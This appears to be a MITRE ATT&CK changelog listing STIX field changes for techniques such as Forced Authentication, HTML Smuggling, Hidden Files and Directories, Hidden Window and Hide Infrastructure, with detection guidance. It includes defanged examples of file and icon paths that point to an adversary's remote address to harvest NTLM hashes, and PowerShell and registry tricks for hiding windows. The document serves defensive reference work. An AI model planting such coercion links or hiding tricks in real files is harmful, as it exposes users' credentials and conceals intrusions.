+The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.
+
+Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)
+
+Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)
+
+There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:
+
+* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)
+* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\[remote address]\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017) | Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.
+
+The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.
+
+Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)
+
+Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)
+
+There are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:
+
+* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)
+* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\[remote address]\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)
+
+Alternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)
+
+ |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located. + +Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017) | |
| x_mitre_version | 1.3 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Rapid7', 'description': 'Condon, Caitlin. (2022, April 24). PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains. Retrieved May 30, 2025.', 'url': 'https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/'} | |
| external_references | {'source_name': 'GitHub', 'description': 'topotam. (2021, July 18). PetitPotam. PoC tool to coerce Windows hosts to authenticate to other machines. Retrieved May 30, 2025.', 'url': 'https://github.com/topotam/PetitPotam'} | |
| x_mitre_contributors | Jiraput Thamsongkrah | |
| x_mitre_contributors | Purinut Wongwaiwuttiguldej | |
| x_mitre_contributors | Natthawut Saexu |
Current version: 1.3
Version changed from: 1.2 → 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:12.085000+00:00 | 2025-10-24 17:49:27.501000+00:00 |
| x_mitre_detection | Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.
+
+Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. | |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may set files and directories to be hidden to ev | t | 1 | Adversaries may set files and directories to be hidden to ev |
| > | ade detection mechanisms. To prevent normal users from accid | > | ade detection mechanisms. To prevent normal users from accid | ||
| > | entally changing special files on a system, most operating s | > | entally changing special files on a system, most operating s | ||
| > | ystems have the concept of a ‘hidden’ file. These files don’ | > | ystems have the concept of a ‘hidden’ file. These files don’ | ||
| > | t show up when a user browses the file system with a GUI or | > | t show up when a user browses the file system with a GUI or | ||
| > | when using normal commands on the command line. Users must e | > | when using normal commands on the command line. Users must e | ||
| > | xplicitly ask to show the hidden files either via a series o | > | xplicitly ask to show the hidden files either via a series o | ||
| > | f Graphical User Interface (GUI) prompts or with command lin | > | f Graphical User Interface (GUI) prompts or with command lin | ||
| > | e switches (<code>dir /a</code> for Windows and <code>ls –a< | > | e switches (<code>dir /a</code> for Windows and <code>ls –a< | ||
| > | /code> for Linux and macOS). On Linux and Mac, users can ma | > | /code> for Linux and macOS). On Linux and Mac, users can ma | ||
| > | rk specific files as hidden simply by putting a “.” as the f | > | rk specific files as hidden simply by putting a “.” as the f | ||
| > | irst character in the file or folder name (Citation: Sofacy | > | irst character in the file or folder name (Citation: Sofacy | ||
| > | Komplex Trojan) (Citation: Antiquated Mac Malware). Files a | > | Komplex Trojan) (Citation: Antiquated Mac Malware). Files a | ||
| > | nd folders that start with a period, ‘.’, are by default hid | > | nd folders that start with a period, ‘.’, are by default hid | ||
| > | den from being viewed in the Finder application and standard | > | den from being viewed in the Finder application and standard | ||
| > | command-line utilities like “ls”. Users must specifically c | > | command-line utilities like “ls”. Users must specifically c | ||
| > | hange settings to have these files viewable. Files on macOS | > | hange settings to have these files viewable. Files on macOS | ||
| > | can also be marked with the UF_HIDDEN flag which prevents t | > | can also be marked with the UF_HIDDEN flag which prevents t | ||
| > | hem from being seen in Finder.app, but still allows them to | > | hem from being seen in Finder.app, but still allows them to | ||
| > | be seen in Terminal.app (Citation: WireLurker). On Windows, | > | be seen in Terminal.app (Citation: WireLurker). On Windows, | ||
| > | users can mark specific files as hidden by using the attrib. | > | users can mark specific files as hidden by using the attrib. | ||
| > | exe binary. Many applications create these hidden files and | > | exe binary. Many applications create these hidden files and | ||
| > | folders to store information so that it doesn’t clutter up t | > | folders to store information so that it doesn’t clutter up t | ||
| > | he user’s workspace. For example, SSH utilities create a .ss | > | he user’s workspace. For example, SSH utilities create a .ss | ||
| > | h folder that’s hidden and contains the user’s known hosts a | > | h folder that’s hidden and contains the user’s known hosts a | ||
| > | nd keys. Adversaries can use this to their advantage to hid | > | nd keys. Additionally, adversaries may name files in a mann | ||
| > | e files and folders anywhere on the system and evading a typ | > | er that would allow the file to be hidden such as naming a f | ||
| > | ical user or system analysis that does not incorporate inves | > | ile only a “space” character. Adversaries can use this to t | ||
| > | tigation of hidden files. | > | heir advantage to hide files and folders anywhere on the sys | ||
| > | tem and evading a typical user or system analysis that does | ||||
| > | not incorporate investigation of hidden files. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Gr@ve_Rose (tcpdump101.com on bsky)'] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'File: File Creation', 'File: File Metadata', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:27.868000+00:00 | 2025-10-24 17:49:34.244000+00:00 |
| description | Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).
+
+On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.
+
+Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
+
+Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files. | Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).
+
+On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.
+
+Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
+
+Additionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a “space” character.
+
+Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor the file system and shell commands for files being created with a leading "." and the Windows command-line use of attrib.exe to add the hidden attribute. | |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.4
Version changed from: 1.3 → 1.4
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use hidden windows to conceal malicious acti | t | 1 | Adversaries may use hidden windows to conceal malicious acti |
| > | vity from the plain sight of users. In some cases, windows t | > | vity from the plain sight of users. In some cases, windows t | ||
| > | hat would typically be displayed when an application carries | > | hat would typically be displayed when an application carries | ||
| > | out an operation can be hidden. This may be utilized by sys | > | out an operation can be hidden. This may be utilized by sys | ||
| > | tem administrators to avoid disrupting user work environment | > | tem administrators to avoid disrupting user work environment | ||
| > | s when carrying out administrative tasks. Adversaries may | > | s when carrying out administrative tasks. Adversaries may | ||
| > | abuse these functionalities to hide otherwise visible window | > | abuse these functionalities to hide otherwise visible window | ||
| > | s from users so as not to alert the user to adversary activi | > | s from users so as not to alert the user to adversary activi | ||
| > | ty on the system.(Citation: Antiquated Mac Malware) On macO | > | ty on the system.(Citation: Antiquated Mac Malware) On macO | ||
| > | S, the configurations for how applications run are listed in | > | S, the configurations for how applications run are listed in | ||
| > | property list (plist) files. One of the tags in these files | > | property list (plist) files. One of the tags in these files | ||
| > | can be <code>apple.awt.UIElement</code>, which allows for J | > | can be <code>apple.awt.UIElement</code>, which allows for J | ||
| > | ava applications to prevent the application's icon from appe | > | ava applications to prevent the application's icon from appe | ||
| > | aring in the Dock. A common use for this is when application | > | aring in the Dock. A common use for this is when application | ||
| > | s run in the system tray, but don't also want to show up in | > | s run in the system tray, but don't also want to show up in | ||
| > | the Dock. Similarly, on Windows there are a variety of feat | > | the Dock. Similarly, on Windows there are a variety of feat | ||
| > | ures in scripting languages, such as [PowerShell](https://at | > | ures in scripting languages, such as [PowerShell](https://at | ||
| > | tack.mitre.org/techniques/T1059/001), Jscript, and [Visual B | > | tack.mitre.org/techniques/T1059/001), Jscript, and [Visual B | ||
| > | asic](https://attack.mitre.org/techniques/T1059/005) to make | > | asic](https://attack.mitre.org/techniques/T1059/005) to make | ||
| > | windows hidden. One example of this is <code>powershell.exe | > | windows hidden. One example of this is <code>powershell.exe | ||
| > | -WindowStyle Hidden</code>.(Citation: PowerShell About 2019 | > | -WindowStyle Hidden</code>.(Citation: PowerShell About 2019 | ||
| > | ) The Windows Registry can also be edited to hide applicati | > | ) The Windows Registry can also be edited to hide applicati | ||
| > | on windows from the current user. For example, by setting th | > | on windows from the current user. For example, by setting th | ||
| > | e `WindowPosition` subkey in the `HKEY_CURRENT_USER\Console\ | > | e `WindowPosition` subkey in the `HKEY_CURRENT_USER\Console\ | ||
| > | %SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` | > | %SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` | ||
| > | Registry key to a maximum value, PowerShell windows will op | > | Registry key to a maximum value, PowerShell windows will op | ||
| > | en off screen and be hidden.(Citation: Cantoris Computing) | > | en off screen and be hidden.(Citation: Cantoris Computing) | ||
| > | In addition, Windows supports the `CreateDesktop()` API that | > | In addition, Windows supports the `CreateDesktop()` API that | ||
| > | can create a hidden desktop window with its own correspondi | > | can create a hidden desktop window with its own correspondi | ||
| > | ng <code>explorer.exe</code> process.(Citation: Hidden VNC)( | > | ng <code>explorer.exe</code> process.(Citation: Hidden VNC)( | ||
| > | Citation: Anatomy of an hVNC Attack) All applications runni | > | Citation: Anatomy of an hVNC Attack) All applications runni | ||
| > | ng on the hidden desktop window, such as a hidden VNC (hVNC) | > | ng on the hidden desktop window, such as a hidden VNC (hVNC) | ||
| > | session,(Citation: Hidden VNC) will be invisible to other d | > | session,(Citation: Hidden VNC) will be invisible to other d | ||
| > | esktops windows. | > | esktops windows. Adversaries may also leverage cmd.exe(Cita | ||
| > | tion: Cybereason - Hidden Malicious Remote Access) as a pare | ||||
| > | nt process, and then utilize a LOLBin, such as DeviceCredent | ||||
| > | ialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cr | ||||
| > | ed Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to | ||||
| > | hide windows. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Script: Script Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:07.977000+00:00 | 2025-10-24 17:49:23.485000+00:00 |
| description | Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.
+
+Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)
+
+On macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.
+
+Similarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)
+
+The Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)
+
+In addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows. | Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.
+
+Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)
+
+On macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.
+
+Similarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)
+
+The Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)
+
+In addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.
+
+Adversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them. | |
| x_mitre_version | 1.3 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Cybereason - Hidden Malicious Remote Access', 'description': 'Cybereason Security Services Team. (n.d.). Behind Closed Doors: The Rise of Hidden Malicious Remote Access. Retrieved July 22, 2025.', 'url': 'https://www.cybereason.com/blog/behind-closed-doors-the-rise-of-hidden-malicious-remote-access'} | |
| external_references | {'source_name': 'LOLBAS Project GitHub Device Cred Dep', 'description': 'Elliot Killick. (n.d.). /DeviceCredentialDeployment.exe. Retrieved July 22, 2025.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/'} | |
| external_references | {'source_name': 'SecureList BlueNoroff Device Cred Dev', 'description': 'Seongsu Park. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved July 22, 2025.', 'url': 'https://securelist.com/bluenoroff-methods-bypass-motw/108383/'} | |
| x_mitre_contributors | Liran Ravich, CardinalOps |
Current version: 1.2
Version changed from: 1.1 → 1.2
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate network traffic in order to hide | t | 1 | Adversaries may manipulate network traffic in order to hide |
| > | and evade detection of their C2 infrastructure. This can be | > | and evade detection of their C2 infrastructure. This can be | ||
| > | accomplished in various ways including by identifying and fi | > | accomplished by identifying and filtering traffic from defen | ||
| > | ltering traffic from defensive tools,(Citation: TA571) maski | > | sive tools,(Citation: TA571) masking malicious domains to ob | ||
| > | ng malicious domains to obfuscate the true destination from | > | fuscate the true destination from both automated scanning to | ||
| > | both automated scanning tools and security researchers,(Cita | > | ols and security researchers,(Citation: Schema-abuse)(Citati | ||
| > | tion: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-up | > | on: Facad1ng)(Citation: Browser-updates) and otherwise hidin | ||
| > | dates) and otherwise hiding malicious artifacts to delay dis | > | g malicious artifacts to delay discovery and prolong the eff | ||
| > | covery and prolong the effectiveness of adversary infrastruc | > | ectiveness of adversary infrastructure that could otherwise | ||
| > | ture that could otherwise be identified, blocked, or taken d | > | be identified, blocked, or taken down entirely. C2 networks | ||
| > | own entirely. C2 networks may include the use of [Proxy](ht | > | may include the use of [Proxy](https://attack.mitre.org/tec | ||
| > | tps://attack.mitre.org/techniques/T1090) or VPNs to disguise | > | hniques/T1090) or VPNs to disguise IP addresses, which can a | ||
| > | IP addresses, which can allow adversaries to blend in with | > | llow adversaries to blend in with normal network traffic and | ||
| > | normal network traffic and bypass conditional access policie | > | bypass conditional access policies or anti-abuse protection | ||
| > | s or anti-abuse protections. For example, an adversary may u | > | s. For example, an adversary may use a virtual private cloud | ||
| > | se a virtual private cloud to spoof their IP address to clos | > | to spoof their IP address to closer align with a victim's I | ||
| > | er align with a victim's IP address ranges. This may also by | > | P address ranges. This may also bypass security measures rel | ||
| > | pass security measures relying on geolocation of the source | > | ying on geolocation of the source IP address.(Citation: sysd | ||
| > | IP address.(Citation: sysdig)(Citation: Orange Residential P | > | ig)(Citation: Orange Residential Proxies) Adversaries may a | ||
| > | roxies) Adversaries may also attempt to filter network traf | > | lso attempt to filter network traffic in order to evade defe | ||
| > | fic in order to evade defensive tools in numerous ways, incl | > | nsive tools in numerous ways, including blocking/redirecting | ||
| > | uding blocking/redirecting common incident responder or secu | > | common incident responder or security appliance user agents | ||
| > | rity appliance user agents.(Citation: mod_rewrite)(Citation: | > | .(Citation: mod_rewrite)(Citation: SocGholish-update) Filter | ||
| > | SocGholish-update) Filtering traffic based on IP and geo-fe | > | ing traffic based on IP and geo-fencing may also avoid autom | ||
| > | ncing may also avoid automated sandboxing or researcher acti | > | ated sandboxing or researcher activity (i.e., [Virtualizatio | ||
| > | vity (i.e., [Virtualization/Sandbox Evasion](https://attack. | > | n/Sandbox Evasion](https://attack.mitre.org/techniques/T1497 | ||
| > | mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod | > | )).(Citation: TA571)(Citation: mod_rewrite) Hiding C2 infra | ||
| > | _rewrite) Hiding C2 infrastructure may also be supported by | > | structure may also be supported by [Resource Development](ht | ||
| > | [Resource Development](https://attack.mitre.org/tactics/TA0 | > | tps://attack.mitre.org/tactics/TA0042) activities such as [A | ||
| > | 042) activities such as [Acquire Infrastructure](https://att | > | cquire Infrastructure](https://attack.mitre.org/techniques/T | ||
| > | ack.mitre.org/techniques/T1583) and [Compromise Infrastructu | > | 1583) and [Compromise Infrastructure](https://attack.mitre.o | ||
| > | re](https://attack.mitre.org/techniques/T1584). For example, | > | rg/techniques/T1584). For example, using widely trusted host | ||
| > | using widely trusted hosting services or domains such as pr | > | ing services or domains such as prominent URL shortening pro | ||
| > | ominent URL shortening providers or marketing services for C | > | viders or marketing services for C2 networks may enable adve | ||
| > | 2 networks may enable adversaries to present benign content | > | rsaries to present benign content that later redirects victi | ||
| > | that later redirects victims to malicious web pages or infra | > | ms to malicious web pages or infrastructure once specific co | ||
| > | structure once specific conditions are met.(Citation: StarBl | > | nditions are met.(Citation: StarBlizzard)(Citation: QR-cofen | ||
| > | izzard)(Citation: QR-cofense) | > | se) | ||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Network Traffic: Network Traffic Content', 'Domain Name: Domain Registration', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:18.948000+00:00 | 2025-10-22 03:57:22.646000+00:00 |
| description | Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. + +C2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies) + +Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite) + +Hiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense) | Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. + +C2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies) + +Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite) + +Hiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 2.4
Version changed from: 2.3 → 2.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Scheduled Job: Scheduled Job Modification', 'File: File Modification', 'Firewall: Firewall Rule Modification', 'User Account: User Account Authentication', 'File: File Metadata', 'User Account: User Account Deletion', 'Process: OS API Execution', 'Application Log: Application Log Content', 'Command: Command Execution', 'File: File Deletion', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Network Traffic: Network Traffic Content', 'Windows Registry: Windows Registry Key Deletion'] |
